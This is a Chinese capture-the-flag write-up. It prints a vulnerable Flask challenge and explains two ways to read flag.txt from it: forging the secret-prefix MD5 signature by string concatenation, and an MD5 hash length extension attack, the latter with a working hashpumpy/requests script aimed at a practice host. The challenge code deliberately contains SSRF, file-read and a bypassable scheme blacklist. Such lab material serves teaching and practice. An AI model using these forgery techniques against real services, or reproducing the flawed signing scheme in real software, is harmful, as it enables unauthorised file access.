题目:直接给代码
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
解法一
1.有一个很重要的路由
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
倒数第二行task
由四个参数经过Task
方法构成。其中,action
,sign
两个参数由cookie
得到,ip是本机ip,而param
经过waf
方法,如果param
成功进入,则会执行Exec()
方法。
2.接下来去看waf怎么写的
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
注意这里的startswith
方法,作用是检测是否以指定字符串开头,这里如果是gopher
或file
就会返回True
如果不是就返回False
。而如果waf返回真,则在步骤1的路由中,if判断就会返回No Hacker
,如果返回假,则在该判断中就会执行执行Exec()方法。所以就是过滤了gopher
和file
这两个协议,不能直接读flag。
3.那下面只剩下Exec()方法还没有看了。
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
如果self.checkSign()
为真,那么我们可以将传递的param
参数进入到scan
方法,先跟进scan
方法:
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
看到read()
方法,发现只要构造param
参数传入,就可以达到读取文件的效果。那我们首先要将param
传入,而只有self.checkSign()
的if判断为真的时候,param才会传入。
4.跟进self.checkSign()方法:
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
需要让getSign(由cookie得到的action, 经过waf由get传参得到的param)==由cookie得到的sign)为真!
getSign在下边,但是并不知道secert_key的值
5.但是还有另一个方法
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
getSign(‘action’,GET传递的param)
的值。这里我们GET的param参数的值很明确,就是flag.txt,我们能通过geneSign得到的sign的值是md5(secret_key+param+‘scan’)
,而最后我们在/De1ta?param=
的值一定是flag.txt,而且必须要满足:
if "scan" in self.action
if "read" in self.action:
6.所以我们可以在/geneSign
中的param参数传入的值设为 flag.txtread
,这样我们得到的sign就是 md5(secret_key+flag.txtreadscan)
,而访问/De1ta?param
传递的值为flag.txt
,且通过cookie传入的action的值为readscan
,这样
getSign(self.action, self.param) == getSign(flag.txtreadscan)
== md5(secret_key+flag.txtreadscan)
而sign的值已知
7./geneSign?param=flag.txtread
这里得到的就是sign的值
8.
sign=708a20c6c8bb2b47186b0c338a1b9c68
解法二
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
hash长度扩展攻击
hash长度扩展攻击是指针对某些允许包含额外信息的加密散列函数(MD5,sha1等)的攻击手段
理解其加密的过程就能理解扩展攻击,因为MD5加密是分组加密的
原理:Hash Length Extension Attack
或者是自己写脚本
import hashpumpy
import requests
import urllib.parse
txt1 = 'flag.txt'
r = requests.get('http://37689afb-4f6f-435a-a6e5-10c386563084.node3.buuoj.cn/geneSign', params={'param': txt1})
sign = r.text
hash_sign = hashpumpy.hashpump(sign, txt1 + 'scan', 'read', 16)
r = requests.get('http://37689afb-4f6f-435a-a6e5-10c386563084.node3.buuoj.cn/De1ta', params={'param': txt1}, cookies={
'sign': hash_sign[0],
'action': urllib.parse.quote(hash_sign[1][len(txt1):])
})
print(r.text)